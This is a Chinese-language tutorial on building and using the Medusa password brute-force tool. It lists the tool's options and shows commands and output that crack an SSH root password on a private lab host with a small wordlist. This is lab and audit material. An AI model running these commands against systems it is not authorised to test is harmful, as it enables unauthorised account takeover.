了解美杜莎（Medusa）

(1).美杜莎介绍

　　Medusa(美杜莎)是一个速度快，支持大规模并行，模块化的暴力破解工具。可以同时对多个主机，用户或密码执行强力测试。Medusa和hydra一样，同样属于在线密码破解工具。Medusa是支持AFP, CVS, FTP, HTTP, IMAP, MS-SQL, MySQL, NCP (NetWare),NNTP,PcAnywhere, POP3, PostgreSQL, rexec, RDP、rlogin, rsh, SMBNT,SMTP(AUTH/VRFY),SNMP, SSHv2, SVN, Telnet, VmAuthd, VNC、Generic Wrapper以及Web表单的密码爆破工具。

　　官方网站：http://foofus.net/goons/jmk/medusa/medusa.html

　　GitHub地址：https://github.com/jmk-foofus/medusa

　　官网提供tar.gz包，GitHub提供zip包

(2).安装Medusa

　　安装依赖包

1	`[root@youxi1 ~]# yum -y install libssh2-devel libssh2-devel libtool libtool-ltdl libtool-ltdl-devel`

　　将下载好的压缩包上传，解压编译安装

[root@youxi1 ~]# tar xf medusa-2.2.tar.gz
[root@youxi1 ~]# cd medusa-2.2/
[root@youxi1 medusa-2.2]# ./configure --enable-debug=yes --enable-module-afp=yes
 --enable-module-cvs=yes --enable-module-ftp=yes --enable-module-http=yes
 --enable-module-imap=yes --enable-module-mssql=yes --enable-module-mysql=yes
 --enable-module-ncp=yes --enable-module-nntp=yes --enable-module-pcanywhere=yes
 --enable-module-pop3=yes --enable-module-postgres=yes --enable-module-rexec=yes
 --enable-module-rlogin=yes --enable-module-rsh=yes --enable-module-smbnt=yes
 --enable-module-smtp=yes --enable-module-smtp-vrfy=yes --enable-module-snmp=yes
 --enable-module-ssh=yes --enable-module-svn=yes --enable-module-telnet=yes
 --enable-module-vmauthd=yes --enable-module-vnc=yes --enable-module-wrapper=yes
 --enable-module-web-form=yes
[root@youxi1 medusa-2.2]# echo $?
0
[root@youxi1 medusa-2.2]# make && make install
[root@youxi1 medusa-2.2]# echo $?
0
[root@youxi1 medusa-2.2]# ls /usr/local/lib/medusa/modules/　　//查看已经生成的模块
afp.mod    mysql.mod       rexec.mod      snmp.mod     web-form.mod
cvs.mod    ncp.mod         rlogin.mod     ssh.mod      wrapper.mod
ftp.mod    nntp.mod        rsh.mod        svn.mod
http.mod   pcanywhere.mod  smbnt.mod      telnet.mod
imap.mod   pop3.mod        smtp.mod       vmauthd.mod
mssql.mod  postgres.mod    smtp-vrfy.mod  vnc.mod

(3).Medusa使用方法

　　Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]

　　选项说明：

-h [TEXT] 目标主机名称或者IP地址

-H [FILE] 包含目标主机名称或者IP地址文件

-u [TEXT] 测试的用户名

-U [FILE] 包含测试的用户名文件

-p [TEXT] 测试的密码

-P [FILE] 包含测试的密码文件

-C [FILE] 组合条目文件

-O [FILE] 日志信息文件

-e [n/s/ns] n代表空密码，s代表为密码与用户名相同

-M [TEXT] 模块执行名称

-m [TEXT] 传递参数到模块

-d 显示所有的模块名称

-n [NUM] 使用非默认Tcp端口

-s 启用SSL

-r [NUM] 重试间隔时间，默认为3秒

-t [NUM] 设定线程数量

-T 同时测试的主机总数

-L 并行化，每个用户使用一个线程

-f 在任何主机上找到第一个账号/密码后，停止破解

-F 在任何主机上找到第一个有效的用户名/密码后停止审计。

-q 显示模块的使用信息

-v [NUM] 详细级别（0-6）

-w [NUM] 错误调试级别（0-10）

-V 显示版本

-Z [TEXT] 继续扫描上一次

(4).实例

　　指定主机，指定用户，测试单个密码

[root@youxi1 medusa-2.2]# cd
[root@youxi1 ~]# echo 192.168.5.101 > host.txt
[root@youxi1 ~]# echo root > users.txt
[root@youxi1 ~]# medusa -M ssh -H host.txt -U users.txt -p 123456
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>
 
ACCOUNT CHECK: [ssh] Host: 192.168.5.101 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 123456 (1 of 1 complete)
ACCOUNT FOUND: [ssh] Host: 192.168.5.101 User: root Password: 123456 [SUCCESS]

　　指定主机，指定用户，测试多个密码

[root@youxi1 ~]# vim p.txt　　//自己建立一个测试字典
1234567890
PASSWORD
password
1234abcd
abcd1234
ABCDEFGH
abcdefgh
123456
[root@youxi1 ~]# medusa -M ssh -H ./host.txt -U ./users.txt -P p.txt
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>
 
ACCOUNT CHECK: [ssh] Host: 192.168.5.101 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 1234567890 (1 of 8 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.5.101 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: PASSWORD (2 of 8 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.5.101 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: password (3 of 8 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.5.101 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 1234abcd (4 of 8 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.5.101 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: abcd1234 (5 of 8 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.5.101 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: ABCDEFGH (6 of 8 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.5.101 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: abcdefgh (7 of 8 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.5.101 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 123456 (8 of 8 complete)
ACCOUNT FOUND: [ssh] Host: 192.168.5.101 User: root Password: 123456 [SUCCESS]

　　使用-O选项将破解的密码保存到指定文件中

[root@youxi1 ~]# medusa -M ssh -H ./host.txt -U ./users.txt -P p.txt -O password.txt
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>
 
ACCOUNT CHECK: [ssh] Host: 192.168.5.101 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 1234567890 (1 of 8 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.5.101 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: PASSWORD (2 of 8 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.5.101 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: password (3 of 8 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.5.101 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 1234abcd (4 of 8 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.5.101 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: abcd1234 (5 of 8 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.5.101 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: ABCDEFGH (6 of 8 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.5.101 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: abcdefgh (7 of 8 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.5.101 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 123456 (8 of 8 complete)
ACCOUNT FOUND: [ssh] Host: 192.168.5.101 User: root Password: 123456 [SUCCESS]
[root@youxi1 ~]# cat password.txt　　//查看
# Medusa v.2.2 (2019-09-02 11:46:53)
# medusa -M ssh -H ./host.txt -U ./users.txt -P p.txt -O password.txt 
ACCOUNT FOUND: [ssh] Host: 192.168.5.101 User: root Password: 123456 [SUCCESS]
# Medusa has finished (2019-09-02 11:47:07).